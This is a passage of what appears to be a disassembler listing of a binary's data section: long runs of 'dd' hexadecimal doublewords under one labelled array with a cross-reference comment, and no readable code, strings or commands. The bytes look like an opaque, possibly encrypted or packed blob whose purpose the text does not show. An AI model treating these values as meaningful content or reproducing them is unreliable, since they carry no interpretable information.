		dd 0BC46E930h, 2C58AD8Bh, 5BF3CA63h, 0BE4E045Ah, 0A846BA39h
		dd 2523B3Ah, 430E245Fh,	13607E29h, 251E6107h, 0C1742CE4h
		dd 2CB97673h, 1127C379h, 26CA0D5h, 292B913Dh, 6AD7CD29h
		dd 204825C5h, 1B9CD3E9h, 721C681Eh, 541C7525h, 0C2397695h
		dd 580BC443h, 37542CC2h, 0C1702793h, 0A4C8B10Bh, 7F89F7A6h
		dd 3563DC56h, 0ABA75AD8h, 0DA08D905h, 0BDF56BCh, 4757010Ch
		dd 0FC1418C1h, 59251806h, 0EA145528h, 6CF1F99Dh, 1B9EFA66h
		dd 3116EE83h, 0F8CEDA23h, 2FB905AAh, 0AF71BEA1h, 3BFE112h
		dd 2E95B2Bh, 0D9AFB4BDh, 9932F03h, 0F57ADE2Dh, 46E3E0C0h
		dd 244F5C84h, 0F107A37Ch, 3980FF75h, 607C6857h,	34900DABh
		dd 0FB29DFC7h, 0EDA87274h, 62BDBB07h, 5A81E956h, 309520EEh
		dd 1541B14Fh, 880EF06Fh, 2558E52Eh, 7AED793Ah, 87F04916h
		dd 0C968125Eh, 92228C26h, 7C7D4070h, 0F96B7527h, 1B8E9A26h
		dd 0DEEF487Dh, 52A8945Bh, 6858C920h, 2DA85564h,	79F45250h
		dd 52AE272Eh, 0FDB8073Ch, 0E9123E5Fh, 6C0B7D71h, 29EBB8DDh
		dd 5490862Bh, 42377E02h, 70B5E934h, 13505F49h, 1024B3A3h
		dd 3116B222h, 0E9802CC3h, 12020E24h, 0A03C9CC8h, 40CAB5FBh
		dd 69EB20D1h, 0CC3F54E0h, 5612F532h, 8DAB1EBAh,	6D7D6A4Ch
		dd 1E0A2C7Fh, 25F6E840h, 458386D2h, 0E82E6681h,	21849CC3h
		dd 36811C5Fh, 3F6D0A78h, 442DD1E4h, 77062C6h, 5A7B060Eh
		dd 0DEFCEFB5h, 9001EF4Ah, 0A0C99EA6h, 9F6DE4F4h, 7DF48369h
		dd 0B6EB033Ah, 2645870h, 0B93E8D0Ch, 0E275015Fh, 58080BBDh
		dd 0DA5701C3h, 127EE93Ah, 25216B01h, 0A507FD4Ah, 0C64CB87Ch
		dd 13190EE1h, 255F5EF3h, 0BCF3BAF0h, 45D4F513h,	0FB4D513Dh
		dd 4B763BDAh, 0A5CABDEAh, 0AD4E9BECh, 15B8809Ch, 987BAD4Fh
		dd 5FC43331h, 88BAEF8Fh, 0E681CC68h, 9C1D7D0Ah,	0C710AA29h
		dd 0D87BB38h, 1CBF716Ah, 0DF5F310Bh, 612BA58Dh,	6758C3A6h
		dd 0FB5B7A63h, 98D5C6E8h, 38167202h, 20DD5A2Eh,	0E98AF21Ah
		dd 0FCD14AC7h, 29169E29h, 42129F52h, 28D8AD01h,	61F41DACh
		dd 73BA9E5Ah, 22A064F1h, 76FA924Dh, 54B59477h, 29ECF816h
		dd 0EC626DA2h, 2D7F29FDh, 0E27F2016h, 18D949D4h, 47B2C13Eh
		dd 0BCF70581h, 0D716C469h, 0BFE024B9h, 0C0C069E2h, 0B05007EFh
		dd 38F8B14Ah, 0FDFCC35Eh, 8006E1E8h, 0C826E93Eh, 1B3875E7h
		dd 65EA5ABAh, 0E0ABF909h, 0C0D1FBE9h, 62F5F317h, 50B89E52h
		dd 2468CD40h
dword_4F0044	dd 0C2AD50B6h, 665FC0D9h, 50D19F43h, 30C2B288h,	960A844Ch
					; DATA XREF: ___:00438124o
		dd 0CDD8805Fh, 6FED605Fh, 0CA7A71EEh, 10EC7648h, 0B90496D0h
		dd 0BBB8622Dh, 525D5BD1h, 1484E768h, 0FD310735h, 57A08575h
		dd 59827EB2h, 0BB06EEB9h, 4CAD21CAh, 0AC48773Fh, 46079474h
		dd 0A52EA11Dh, 60A4AA03h, 7D54C87h, 3FD8257Bh, 246F9656h
		dd 5E09C54Bh, 6805CFC6h, 74257AE7h, 29EB0880h, 5ECD0B67h
		dd 76E1BFE9h, 4F107E5Ch, 4FB3D0C6h, 0E1DC6D15h,	337994E9h
		dd 0CC70A112h, 52B0311Ah, 0DE01394Bh, 677562CAh, 0B17B960h
		dd 29702D65h, 5EF11460h, 4F920516h, 5AD99BBAh, 0A4972DBFh
		dd 63099A08h, 0F1618B2Fh, 0DEDC38CEh, 9D590C40h, 39550048h
		dd 0A53EA027h, 22E00AADh, 724D07B8h, 0B4482377h, 34EDAC90h
		dd 3CC47F68h, 89A89091h, 8413343Ah, 0BB6FD5D3h,	0E22F5C39h
		dd 0A75A2438h, 0A44FCF0Eh, 0AD801C90h, 173F748Dh, 12F831E4h
		dd 0E93D0252h, 37F3FCDCh, 0DFB493BDh, 688A1658h, 32025EC4h
		dd 0CEFF5F10h, 0E33020B4h, 1EFE0130h, 2A7065C6h, 97F4414Dh
		dd 0F232E5CEh, 84D631E4h, 0B2CCB2BDh, 1D69BF42h, 6F6BCA5Eh
		dd 25195CD9h, 38252171h, 0B58724BDh, 49125152h,	2926EB53h
		dd 0B28D642Dh, 0DC40775h, 16E96B3Bh, 0B802D3E8h, 1C3D661Eh
		dd 9855C196h, 9A058176h, 0AA4FE56Bh, 9961FE07h,	0FFED83C0h
		dd 0D0165FE9h, 7B1C95BFh, 65D20864h, 405D15D8h,	0E803D1E2h
		dd 0EA20B725h, 2FE44D10h, 0C922A25Ah, 7097DCC5h, 14200AD4h
		dd 0F0682778h, 96750CC8h, 0C0E31D3h, 98010BEDh,	53193EFh
		dd 0DF095975h, 2892045Bh, 8EC3AB07h, 67FFE4FCh,	8F56A202h
		dd 83CA1A75h, 51B5EF1Eh, 0BA0029D7h, 612E3109h,	4F510C13h
		dd 0D3D07095h, 63A8324Bh, 49C9BA96h, 0C14279F8h, 0B568EB1Dh
		dd 14CC6B17h, 67CB5895h, 16245989h, 2E6DE16Eh, 1A10E8E7h
		dd 595F26BEh, 0D60CFE1Ah, 4609BC83h, 0F90F545Eh, 0BBA01E87h
		dd 435AC650h, 1520B785h, 4F2B688Bh, 804DAC2Fh, 515FCEEh
		dd 486B9034h, 16049D0Eh, 0EAD91CE9h, 0C4EE2F64h, 1BC9B3D2h
		dd 1E25163Dh, 9270273Ch, 0BDB9F0DAh, 0AA106F00h, 0F7E5D122h
		dd 0EC6813D5h, 41E2CD2Bh, 3E1D5468h, 2D50DE14h,	256BD9B8h
		dd 485A1FDCh, 5BE95505h, 8097C389h, 65E3CCBh, 662D2CBCh
		dd 65EA055Fh, 6468AF90h, 0D2175C38h, 8AE62D2Dh,	2F81505Ch
		dd 5809090Bh, 60CD3DFCh, 44D52112h, 0EF5FF9A9h,	473CE3D0h
		dd 0BC454E55h, 67EBE55Fh, 2C1725Ah, 0F42DB667h,	0BDA0BD38h
		dd 44557EA2h, 18365DBDh, 0E06B875Ah, 0FB5E11E1h, 0A82060B0h
		dd 203498CFh, 5A096D39h, 3961C968h, 69675C2Ch, 3BDD392Ah
		dd 0F69A45B1h, 0EA020E8Ch, 68186DC7h, 295B4F38h, 0AA801F4h
		dd 79DDC253h, 9E4AE259h, 20C21EFDh, 7B98EEF9h, 0AF6EF50Fh
		dd 0FB196464h, 9139A7BFh, 0F8E983A1h, 910987ADh, 8C80818Ah
		dd 4A9F545Dh, 3858428Fh, 45C4738Eh, 0E0C2D301h,	0E8ABCBB5h
		dd 13FF05B9h, 9DD096Ah,	0E6D87424h, 532830BDh, 2C683851h
		dd 28FC7831h, 0EEC18121h, 160A15Fh, 1DB90270h, 0D370DF5Eh
		dd 80B10F3h, 7F100B58h,	5BB58EFh, 6C69642Dh, 0A52816C2h
		dd 63AB50DCh, 81F951F7h, 0C16997C0h, 0F97AC5EDh, 0C4D1D47Eh
		dd 0EB8B1296h, 4E5C9668h, 0BEE641CFh, 407F7E5Dh, 0F762A8BBh
		dd 53E91C0Bh, 0C23A5FEBh, 0B7EA884h, 0EE34E031h, 436E2411h
		dd 10CE128Fh, 0F04308F0h, 3D196285h, 0F0B700FEh, 0C8C18EEFh
		dd 46924B84h, 74C0E082h, 3A5E38EDh, 2008513Fh, 0EEB5B0A9h
		dd 62C2F663h, 5E58B8F0h, 1B4140E0h, 173511Dh, 820D8ACh
		dd 205DECB7h, 89245694h, 2910A1C1h, 1DAF717h, 761D4AC7h
		dd 0E3F2D86Eh, 1E955C19h, 0CD60FF0Ch, 9224C14Dh, 2B5B9D24h
		dd 0CEAE0DC4h, 961D5897h, 0A0F5FB22h, 1499BA88h, 0B80B1D3Dh
		dd 58F061Bh, 3E84831h, 0CCFC514Bh, 0D30E9774h, 0D712BDF3h
		dd 0C2A4A4E8h, 0B055FD56h, 80D1141Bh, 7C9DD388h, 0B1DCC7EEh
		dd 0FD5158E2h, 2008E1D1h, 7B405268h, 42602568h,	0FD00BAC6h
		dd 0BF4CAE38h, 4C5F6E8Ch, 0BB5B556Dh, 0C2FBF524h, 39F0E65Ah
		dd 6E1AB62Fh, 84F8982Dh, 0B51B3885h, 4A2EFF4Ah,	0B144E84Ah
		dd 0B058437h, 0CA78AF02h, 0F8E6C125h, 0EC30F59h, 0A4CBF677h
		dd 5725267Eh, 0E97D4A9Ah, 0E3CC019Dh, 3E0CC4A4h, 0A0E7FF20h
		dd 884ADE39h, 290BBF8Ch, 825F8D3Ah, 2F2B63Dh, 0F85257h
		dd 60F4C9F7h, 514BCAB0h, 78535E88h, 0F5525F22h,	16080577h
		dd 21BF4160h, 644E5DEEh, 371C6C0h, 0D477CC32h, 0AF607F04h
		dd 0AD5B5F80h, 9C253F4h, 3786932h, 0C8084FDEh, 0D3290B63h
		dd 0F1D9B37Fh, 1D892B82h, 0C4D258C7h, 0BB64F765h, 0BFB9DD04h
		dd 8BAAC1Dh, 0CA286188h, 4D1BE606h, 0E00C11BEh,	4C5F2E0Ah
		dd 1E078E12h, 0B9A05609h, 2F9A3D46h, 385742C5h,	0F8603EF6h
		dd 1AD721E2h, 8209EB1h,	95BFD09Fh, 1C9EE7Ch, 0C655029Eh
		dd 191805EFh, 0BA7A8874h, 0E93140D7h, 0A67AF5ADh, 0B989C43Dh
		dd 0BF0F5C00h, 3C3868C8h, 2CFA4A7Eh, 435D5137h,	0DFE51720h
		dd 12411D0Eh, 70EB41B0h, 901C921Ch, 0DD7E2099h,	2DDA6817h
		dd 0C19ACCBDh, 0EA8BF0C1h, 0E5FD735Fh, 6FA5BE53h, 0F81B9F02h
		dd 0DD2D6B4Eh, 542C03F5h, 0D8B2E306h, 13452A1Ah, 0ED05E93Dh
		dd 0B3C60732h, 7B9E70Fh, 8EE4061Ah, 0D1B47E93h,	1DE4E328h
		dd 82E89AE0h, 5A2B75A1h, 0E9D07ADEh, 9D147042h,	4BC260F6h
		dd 40BCD147h, 2D12ECE2h, 35391348h, 68EB229Ah, 0E912D3D1h
		dd 12C971ABh, 0A0A7843Eh, 5E9D951Bh, 786AC1Eh, 3B7B89B7h
		dd 0FBBB89DFh, 437CAF7Dh, 4DD868C1h, 0ACC53E2Ch, 9333EB37h
		dd 9F091881h, 0E95D4604h, 0F6F02E2Dh, 0D04765BCh, 8EDC16Dh
		dd 2676575Ch, 0E7CBB292h, 482709FDh, 9F29F6C6h,	0D001D172h
		dd 4E73E340h, 0EE0EEB30h, 0E90C0B47h, 2C4E6E09h, 5D4A0F90h
		dd 0C987EA0Ch, 679F62C5h, 2F7AB81Dh, 3A52A620h,	0AE987FBEh
		dd 782D6C0Bh, 2958B026h, 0C8F6D840h, 3ED0FDA4h,	0D4FAF36Eh
		dd 0BB4527F9h, 3F14D183h, 0A5AFFD1Ah, 0AF7A44D1h, 87D79FD0h
		dd 0AF514EFAh, 0E909A62Ah, 0BBD7DEE7h, 0FDE0DA6Ah, 0CDD72009h
		dd 206884DEh, 3598FE45h, 18021812h, 0FDF2D817h,	0F5E8E73Fh
		dd 8E845E4Eh, 82ECA3EBh, 5FF532E9h, 38644619h, 13533F4Bh
		dd 9CFFE89Eh, 0D4FACB74h, 6A408D5Fh, 13ECC057h,	4F53BD31h
		dd 0E9F0093Ch, 892326A0h, 57562038h, 0E3F9938Bh, 536601ABh
		dd 2B2020EBh, 0CCA3507h, 2F5078BFh, 0A2766B14h,	3B1F89Bh
		dd 0E2EF6CBDh, 0DCA5012Bh, 1F40C365h, 4F62EC54h, 0A2AB670Eh
		dd 65D7E565h, 24121A70h, 4FD6D1F5h, 0E8E52E8Fh,	462CEB36h
		dd 30605F6Eh, 5A568C98h, 4121782Ch, 293AB10Ch, 202D5DEAh
		dd 5578483h, 5F9CB02Fh,	5AEC01Ah, 5C038508h, 83EAF280h
		dd 9D8142D3h, 104150Ah,	6859071Ch, 0F7BEBF0h, 6448716h
		dd 4EF4D45h, 2B19DA7h, 0D7BAB551h, 0FA300840h, 0FDBEDDFAh
		dd 9FAB5816h, 0F3924B67h, 0CDDA8255h, 0E2D20E97h, 0D9DD84EEh
		dd 4AEFF2AFh, 66DA14C1h, 9ADDFB5h, 0E671FB43h, 3CC05398h
		dd 4B0580DCh, 0F12500Bh, 764C832Dh, 14D5A807h, 291D0A22h
		dd 3A0705F8h, 1B0711D5h, 0E6357EF0h, 519E6Bh, 65716077h
		dd 184D4D68h, 4C91968Ch, 0DD7E5A5Dh, 46A86BF0h,	0BE580FA8h
		dd 473A13AAh, 6BCE02CCh, 0CF02CAB5h, 0BE07E6E4h, 26D474F1h
		dd 16F92470h, 0FD7F9B53h
		dd 84086997h, 5F047259h, 3E4BD952h, 0A368F6D0h,	0F4E98013h
		dd 3D27CC5Eh, 44E26682h, 32AF05D2h, 16B96F18h, 23F0005h
		dd 29687E4Ah, 805D941h,	0D58812A8h, 1AE3E2B0h, 0E1465C58h
		dd 0B407F128h, 16C8037Ch, 0C012908h, 4F2267ABh,	0F161CF01h
		dd 800C0806h, 5E6BE914h, 79CDF34Eh, 4276859h, 28FDEA80h
		dd 0AC3688FBh, 5358440h, 95739DBBh, 0F6E2EF50h,	4D5EB697h
		dd 0ABC3C5DCh, 62BE6DBBh, 4901D349h, 73BE3213h,	0BE327A61h
		dd 1CDB0175h, 7AE9F8C4h, 65A6D07h, 76E8685Dh, 0A7082771h
		dd 0E66229F4h, 935DFC05h, 36DA0228h, 28C2CE18h,	586B26DFh
		dd 0F86DED38h, 4B02C21Eh, 0D356BCBFh, 0FDFCCA72h, 1E423D51h
		dd 58015AE2h, 90027102h, 2950B912h, 95228155h, 0ED000104h
		dd 61173DDCh, 0D035898Ch, 0DFD2C01Ch, 9100B9DDh, 67C4680Ch
		dd 72A20C0Ah, 307066C3h, 0C0846E5h, 92E91480h, 0DFBF3553h
		dd 5B7D7C8Ch, 48309EDh,	105C14E5h, 0BDA4062h, 0CF84207h
		dd 0BD09C3B7h, 0D70983ECh, 45DD8F4Ah, 3C2DC02Bh, 104E351Ch
		dd 754BB7B6h, 0A4BF0A23h, 6C547223h, 7F776002h,	35DC66h
		dd 4C8BF57h, 0E89533B5h, 9F022B9Bh, 8020ED1Eh, 0F0FFB8D0h
		dd 12020670h, 12F75A06h, 48F1C903h, 0F9561049h,	212D6EFDh
		dd 0FE92D8Ah, 0F3EB18FCh, 562D14DCh, 0E54E7BCAh, 0CA9FAC5h
		dd 0D7C4B4Fh, 0E8710263h, 60BD2B0Bh, 3FCA575Dh,	5ED28BD5h
		dd 0D8A44F38h, 0F9F01740h, 0CFF63D11h, 2EA97F90h, 46091F51h
		dd 88F9FEC5h, 801E50C0h, 0EDCE839Dh, 0DCF5C703h, 20E888C3h
		dd 5A1CE66Ch, 0CA99D130h, 3D60C008h, 0A8B33A53h, 0B4E34B93h
		dd 0C667B27Ch, 3532BAB4h, 0E28FDF87h, 0FB04066Bh, 8B65BB31h
		dd 0C5611EB1h, 0FF82937Fh, 0E477CA4Ch, 0F24F30E6h, 2F88582Ch
		dd 716710h, 0CB49BA52h,	709FE585h, 0B567A08Dh, 0B7FF9012h
		dd 80A604Ah, 4C3613C0h,	0F9825BD7h, 0BA48F5F2h,	525CC092h
		dd 243F5368h, 909408Ah,	310042D2h, 722F6246h, 0FE4FE926h
		dd 3E085493h, 0CDAFA598h, 9D831CE6h, 7CE3B509h,	0CDCB00DBh
		dd 0A032EC16h, 121112DEh, 0A1011B23h, 0E9080057h, 399760D6h
		dd 3FF05107h, 0DE67CBD7h, 25AECC77h, 731828A0h,	6A9F6F69h
		dd 5EE8DDBEh, 0B0842ED7h, 5174074h, 65341B0Fh, 0D4D25F71h
		dd 4CC195DCh, 0F30364E3h, 0A379D518h, 98E9800Bh, 2598F5F0h
		dd 7047762h, 2C23687Bh,	643542E3h, 0EA95081Bh, 91AE5616h
		dd 8F9DF9DDh, 8C02EB69h, 0FA0772DBh, 62F16426h,	0A0B0FC5Ch
		dd 0B943B468h, 0CC2ACECh, 28C62F4Ah, 5DDB84BFh,	0C14AD7F3h
		dd 5D0389EDh, 20D43B9Eh, 771EBB81h, 525D5F00h, 42685100h
		dd 597A7D6Dh, 0B5E150C1h, 0C524606Ah, 0EF46E5BEh, 0CE816D0Fh
		dd 3657A139h, 0E9ECDEF7h, 99D695E7h, 755B5442h,	0A681129Eh
		dd 0DCBE02DEh, 2C62A7F4h, 0BB05EAE6h, 331B6141h, 454AE5BEh
		dd 0BD74C066h, 46E1DD2h, 675A927Ah, 125618Ah, 0F3685017h
		dd 442D505Dh, 250E545Fh, 0E502BB7Bh, 40624E7Ah,	2557FE99h
		dd 83F43060h, 236EE904h, 32D30D01h, 57A06F63h, 9554C01h
		dd 2DC6E22Bh, 4745E6D4h, 1AB820D0h, 63820D27h, 0FC0B3EBAh
		dd 469FD1CAh, 69583039h, 1512CDCFh, 81817B3Ah, 3D3A6D26h
		dd 84E7C1E9h, 0CD39E2FEh, 0C73F1D7Ah, 0A2382ABh, 0A10BC2E4h
		dd 0F654471Fh, 50013B09h, 0B1E914DFh, 5C317AAAh, 0BD2BF7CFh
		dd 23037252h, 5FA8801h,	52958908h, 24E92E60h, 0C07158CCh
		dd 3E8D1929h, 0E91046BAh, 1F5F8CB6h, 4CC49099h,	0D097402Dh
		dd 0C1C7FD6Fh, 4FE52B91h, 71F613EDh, 0E0239F07h, 0A6805A3Fh
		dd 5389AA4Ah, 0CBC7F554h, 0E086E989h, 4BC78049h, 4B8DF3BBh
		dd 0A0AAD984h, 0A39028E4h, 92068A6Ch, 3741C6A3h, 560B76B0h
		dd 5B113468h, 81410469h, 0D34CC039h, 5A4BF13Eh,	0A4547380h
		dd 82FC9F5Bh, 2D8047ACh, 2AE94136h, 0FAD197ECh,	5FFCD14Dh
		dd 0A7C4BDE3h, 0E366792Ah, 1002EE4Ch, 6809F394h, 6454312Dh
		dd 5DE8D762h, 528F4AD3h, 0E59FC450h, 0AED338E8h, 7019C88Ah
		dd 3FBDF586h, 0B82E00E1h, 0B9E9E114h, 47B922Ch,	0A556DDF7h
		dd 0D994B148h, 6CF7C2CEh, 313CBA92h, 0CCBDB294h, 0AD4BBE3Dh
		dd 93A1FB47h, 65871750h, 0E044BAA8h, 81024561h,	37F97F6h
		dd 0E9F329CCh, 0CE6E6BCDh, 31522F26h, 0B27A5A63h, 96C8D601h
		dd 0A9789559h, 2FA7BA6Fh, 15DAB68Bh, 4930680Bh,	0E9423653h
		dd 0BF6CD864h, 0D1842D15h, 60FB40E0h, 2D5DE810h, 0FEDB0C0Fh
		dd 0FCC28945h, 0F8CE0893h, 0CFBB5F16h, 5849259Bh, 72F3953Bh
		dd 945108Bh, 0BE361026h, 0C7C5CE5Eh, 0FE3625E5h, 9D147264h
		dd 2ABAB01Ch, 1F4B2D38h, 0A21E0ED6h, 0A216DF65h, 92FEE0B7h
		dd 34B12762h, 871CD1D3h, 42FC79ADh, 0D7096853h,	8EC82E81h
		dd 0F7C24384h, 0A03BC194h, 71090553h, 81897C9Ah, 3E4C72C7h
		dd 84E4ED2Bh, 5F8C6817h, 313A32FBh, 1E253F7Ch, 85049ADAh
		dd 86C2F7Bh, 24CA4E59h,	0B48CD0C0h, 16C2EFF9h, 0FF5A0A8Bh
		dd 2B58B98h, 68381C1Fh,	1B467AE8h, 584EF5BAh, 0E7BFCDC5h
		dd 5DD42DFh, 6E18683Ah,	2766EB9h, 0E9793455h, 0C6C41E08h
		dd 0BD414C3Eh, 3838A63Ch, 59CB3184h, 3FD44783h,	0AD98E079h
		dd 0C72D0E6Ah, 56AB6813h, 63DB5701h, 0B57A1766h, 74080436h
		dd 6831AE98h, 5D2A0BA9h, 991BCBD5h, 649067C4h, 84C8EE5Dh
		dd 9BBC1CF1h, 0DF0C9698h, 0C2607F82h, 0B6727A32h, 0C22E809Fh
		dd 604926F1h, 0A2D0C77h, 0E9132506h, 7A8945B8h,	0D181A82Ah
		dd 0AD5710A7h, 3CA28924h, 79139A70h, 59CD2F58h,	0E10B83D6h
		dd 2F83C88Ah, 21C13046h, 6E5BCA7Bh, 2EFA3Bh, 0C74864F2h
		dd 5A95E9FFh, 16ECA7D3h, 0B2577168h, 0DAA112F8h, 0F25D037Eh
		dd 60ABD9CAh, 98455BC2h, 1231F8BDh, 0C0D57DCFh,	4F0A9601h
		dd 0EA4E09F8h, 0F40D4546h, 0F7401ED8h, 0B3A608D0h, 0B70B5B16h
		dd 0C44476FDh, 3A8FC50h, 8B0B3E05h, 7C371208h, 0C29B40D5h
		dd 7D7061E2h, 10D25E52h, 6809BCEEh, 0B4F72265h,	0C7CE9753h
		dd 0EEC99097h, 0D7C28242h, 0B4C2BA84h, 0EDE687BDh, 0FEC71E4Bh
		dd 0AE04D003h, 67E92F3Bh, 58A2A075h, 411A280Ch,	35FCF901h
		dd 92E678CBh, 8627100Bh, 17987BB4h, 1D1170A8h, 5EC45068h
		dd 4CC551ADh, 0CEA9F8ACh, 9281B3D7h, 0BE00A9ADh, 0FF0927D2h
		dd 5E6C13Bh, 0F6B8B5EDh, 125CEC4Fh, 6789F092h, 0AFF89693h
		dd 92964729h, 57B36116h, 0E79A483Fh, 3496101h, 0DA591E2Dh
		dd 5087E9DCh, 13236A3Bh, 77CAC0Fh, 0B7AF870h, 47DE45FDh
		dd 1BC7492Ch, 9B9DC3Fh,	7761BE68h, 28CBB39Eh, 0ECB07F58h
		dd 4ABFC040h, 0E5B60FCh, 0FA28E41Ch, 54E297B0h,	32F6B25Fh
		dd 0CFE65781h, 21C6816h, 3816FBF3h, 0CD4ECC4Ah,	19D8CA4Ah
		dd 0D2105F58h, 0FDABD4FBh, 41E0BA55h, 0FE7212F4h, 0B8194C04h
		dd 1240FFDEh, 0B1050FEAh, 9EDFEECh, 35465513h, 51087156h
		dd 0FFFA9416h, 0BDB63F16h, 0C1C23C75h, 0F02FC0D9h, 954F610h
		dd 0F4B8DF84h, 671F9309h, 80AE7D42h, 0E01D076Dh, 9F160264h
		dd 0DDF82988h, 0ADB2C630h, 6398273Dh, 79DAEE04h, 0D8FE05ECh
		dd 9C4DE9BBh, 0F45D2D59h, 1F0124BAh, 337E808Ah,	3E15B951h
		dd 0E90E9104h, 8590A1FBh, 607242DDh, 675B2057h,	9F2884h
		dd 2485E136h, 0E975096Ah, 83E803F5h, 5881F204h,	0D4BCB52Eh
		dd 0FF4A16AEh, 0C0D44BAAh, 0B7686623h, 0B4A3ACC4h, 199900EBh
		dd 4B7B6366h, 2CE750B5h
		dd 0AC29339Eh, 2B42043Fh, 2CDF8659h, 5C521406h,	82E436Eh
		dd 60D9E9DBh, 60FE5F16h, 553D685Ah, 1785539Dh, 0FEEAA4EAh
		dd 0B9D5C89Fh, 8E8DB486h, 306E6CE2h, 49050FBFh,	2E1FB1EDh
		dd 0DD050FBCh, 0DD53546Dh, 0B40D4040h, 7F4AB84Fh, 8B110BFh
		dd 0B40CFC5Ah, 5B9D8FEFh, 41FF27AEh, 2F3A6168h,	9CDF28B9h
		dd 30772F2Bh, 83E385BCh, 0EFA9FDA9h, 48E68EE4h,	80E2205Eh
		dd 0C0144788h, 3EE8C7FDh, 6B905CA6h, 3CE36FEFh,	80535DC5h
		dd 0C53D0773h, 0F5BB4E0Eh, 54E53E98h, 79F38449h, 0C680BA12h
		dd 9A84E955h, 0D058BDA2h, 0E29F24F0h, 0E2345F9Ch, 487D7A20h
		dd 87256752h, 4F20CB94h, 6C6816A8h, 0C1A2BC35h,	0DC7F54B9h
		dd 0A8B94121h, 28BF1201h, 62D58955h, 928D18E3h,	97403141h
		dd 3AFC6246h, 739D3B70h, 768A3145h, 0D7A16DD0h,	556A45EFh
		dd 0F7B5AC25h, 0E6E8ABF2h, 4A63A0D4h, 40D52574h, 312D43F0h
		dd 0C01AFEFEh, 0E30123F6h, 9F55448h, 82F82C3Fh,	5CBECF21h
		dd 0A756240h, 76C8F120h, 81565F2Eh, 7045BE3Ah, 5C9729A2h
		dd 430502B6h, 32567890h, 8E1DAC4h, 0BA0D6C2h, 0B26610A7h
		dd 0DF52E8FFh, 82AA24D2h, 4800022Fh, 970B5BD4h,	682DEDDCh
		dd 0E153D0DDh, 0B7D3982Eh, 0F297087Dh, 0E568CECFh, 8449F232h
		dd 0AC0934C3h, 0F2293AD8h, 0B3DBA67h, 0D93DB853h, 0DBC9622Dh
		dd 0DAC08804h, 75010B5h, 0E5283AB4h, 0C7D50558h, 0C75A851Ah
		dd 8E9C21Bh, 683E3750h,	0AE47621Dh, 8ED071DCh, 4CAB4F7Eh
		dd 0CF817EF6h, 15B17830h, 80220D70h, 9BA2D828h,	738B095Dh
		dd 808D9618h, 76446844h, 274FF53Dh, 0B3038045h,	1FB7536Eh
		dd 138FB189h, 0FB65851Bh, 0B6CEBA8Ch, 0F468252Ah, 7B0A6122h
		dd 0D4F06842h, 78D1E989h, 0C0B0BF24h, 0DB9D01E0h, 4292BD43h
		dd 56FE40AAh, 0A2174EBEh, 0A5BB5209h, 0BE82DD0Ch, 0C6F7FA44h
		dd 0C77120BEh, 0CE30E5A0h, 1654B480h, 0FB87CC80h, 0E12D2B20h
		dd 11102541h, 2507D488h, 0E93C3075h, 12F69E91h,	7FBAB053h
		dd 1810740h, 390A1FC2h,	20EA0149h, 5A024694h, 21E96563h
		dd 0C0D8A0CFh, 0F4725655h, 6A734109h, 265647A9h, 1CA01E10h
		dd 519D4E66h, 0F5FB904h, 0C1024C82h, 1D33C12Dh,	0BAA45431h
		dd 5AD2F023h, 0C4CEF0C7h, 57C77D09h, 5632E98Bh,	1455255Dh
		dd 0F83A5A15h, 38BA5EA2h, 0E8820193h, 80BF0F96h, 5790C380h
		dd 72FBEB2Fh, 9052EA85h, 0EA755E68h, 0C012152h,	4DF032BEh
		dd 3E606561h, 830D94D0h, 2ADA1EE4h, 0A4661FD9h,	123C356Fh
		dd 8BFDE290h, 9E48C8DEh, 8CAE5E2Fh, 0E1FB5402h,	0DE64CC0Fh
		dd 932C6526h, 2C018822h, 4417286Eh, 0FFB17368h,	2617C220h
		dd 13CFC0Dh, 0AE6A33EFh, 70CFFD47h, 68805782h, 0CD725FA9h
		dd 0F4B907A3h, 64FE578Ah, 0B980D006h, 0E91362F0h, 72ADEECBh
		dd 0F312D81h, 0F8BF60DEh, 5F070550h, 0E8205997h, 94E961FBh
		dd 0D6A73B7Ch, 39B97560h, 334CF253h, 7E6A0741h,	0E9677DC5h
		dd 6FC35581h, 5FE8B2FFh, 5E7D2A2h, 0A8F7E684h, 6DBDF5B6h
		dd 0DF596218h, 0F5722C58h, 56309E2Dh, 3FDB42CFh, 0A04DD0F9h
		dd 96C68C20h, 0DF290126h, 605FFB87h, 0C1745BCh,	31C51026h
		dd 3802A685h, 6036213Dh, 0CBADFC5Ah, 900C337h, 4D443CB4h
		dd 69FDFCB7h, 383C8E0Eh, 0E1ABFC5Fh, 0BA07A5CEh, 20C036F8h
		dd 0C0B70F12h, 2D12EF08h, 0E9783AF6h, 110B699Dh, 862070FAh
		dd 0B4665F75h, 6B40FCCAh, 0FF30EB9h, 0CD410629h, 0FC505859h
		dd 3A9AAE17h, 0B5EBF29Dh, 0DEFEFF64h, 76934A5Bh, 0D0999CA1h
		dd 1C63ED6Eh, 0FD2D651Dh, 32D71E32h, 78E7D7F4h,	0E9055F25h
		dd 5C84444Ah, 0A5DBAD21h, 0D7B8AAAh, 10DEEFE9h,	5C999540h
		dd 0D464E36Ch, 30035F8Bh, 3364E952h, 25BDA09Dh,	5AFE046h
		dd 0F51654BEh, 0D312AB21h, 140584B0h, 0CC681392h, 82E9D00Bh
		dd 0E425B4AFh, 4161EF2Bh, 356FEC45h, 6437EEF6h,	9DFF50ACh
		dd 0FE9D42CEh, 400BC970h, 5012C0F1h, 0C1F49CE9h, 57102FBh
		dd 2004E1BAh, 0C891C0FFh, 92E5EFA0h, 0CEBA56F3h, 0C8335E1h
		dd 54C4130Bh, 4C75EBA1h, 30594E64h, 4FEDE970h, 10BC3BE1h
		dd 0B16EF1h, 57D8805h, 0C8015B42h, 6007142Dh, 8016F420h
		dd 0CE0F43F6h, 4E04645Ah, 9FA930EFh, 617D9B1Ah,	5FE57227h
		dd 8B8BFD1Ah, 0C9907EF2h, 0F1198F66h, 4D78494Ah, 704D6547h
		dd 0E2D81ACBh, 0C96A599Dh, 0E9CC18F5h, 4DEE4AFBh, 203973A9h
		dd 0B1FCF2ACh, 7B95E1B2h, 0D2F3EC0h, 7D6751E8h,	9F7649CAh
		dd 49015996h, 9248585Ah, 13E6002Bh, 21759D1Dh, 0E238409Fh
		dd 77319CBh, 82E3F064h,	0D7296526h, 2B0CC05Ah, 0F231FE72h
		dd 0A3C7F0F7h, 0E60C0508h, 0C9695853h, 9584451Fh, 8BDDAECEh
		dd 0B14FA9F4h, 0D00A4BAEh, 96CCADFDh, 18914A25h, 8035D0A0h
		dd 381696BAh, 23BB544Dh, 81884AC5h, 1F0C57F2h, 0E4274C6h
		dd 7266354Bh, 9005AEC8h, 0C7E4CAFDh, 0A471294h,	0ED92E051h
